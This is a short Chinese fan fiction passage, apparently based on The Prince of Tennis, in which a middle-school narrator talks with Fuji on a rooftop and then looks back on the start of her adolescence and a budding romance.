“拜托你可千万别说是运动。” “哈哈…藤会想要尝试一下网球吗?”这家伙故意的。 “绝对不要!” 我斩钉截铁地说道。 就在这时,一阵猛烈的、不像是春天应该刮起的狂风吹过天台。浓云遮蔽住太阳,使天空陷入短暂的苍白。 我抬头望了望天,接着慢吞吞道: “虽然这时候这么说很俗套,但是…在我身上,应该是有什么东西要发生改变了。虽然我还不知道是什么,但我已经很清楚地感知到这点了。总之不是什么简单容易的事。要问为什么,因为我是天才嘛。” 不二则很温和地说:“但也不一定是件坏事呐。” “…这是宽慰吗?”我顿了顿,又问他,“不二,你知道暴风雨来临前,海上会是什么样子吗?” 他偏 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日后,每当我想起这时说的话,一方面我会觉得国一的自己实在太可爱了,另一方面又会以头抢地、恨不得把脑袋塞进自动贩卖机里寻找时光机。 怪羞耻的。 虽然天才的我确实预感全对。 彼时,我以为我要对抗的是怒涛狂澜、深海里的怪兽或者成功从另一个世界穿越来使坏的老爹之类的东西。 但我浑然不知,在前方等着我的是更为幽微深邃的变化。非但不是暴风雨,而且细腻持久。伴随着诸多疑问与困惑。温暖、潮湿,偶尔还怪痒的,像蝴蝶在心脏里振翅。 ——敌人的名字叫作“青春期”。 后来,我也曾问过不二,当时他是不是早就知道我在说什么了之类的。 他一脸无辜:“当时……是指什么时候?” 我:“我生气了。” 他丝滑的:“不,那时我以为是更魔幻的东西,比如怪兽或者异世界追杀者之类的。还暗自担忧了好一阵的。” 我不屑的:“这猜想太幼稚了吧。” 他无奈道:“再怎么说,我也只比光咲大1岁而已。” “可是国三的你已经很狡猾了。”我提醒他,“这件事过去没多久就牵手了。初吻也就是夏天的事吧。” “唔、我倒是觉得当时一直在追赶着光咲的步调走……每件事都发生得惊心动魄的。”他发出轻笑,“不过,也都很有趣就是了。” 总之,接下来要讲述的,就是这么个混杂着友情和恋爱、步调轻快的青春期故事。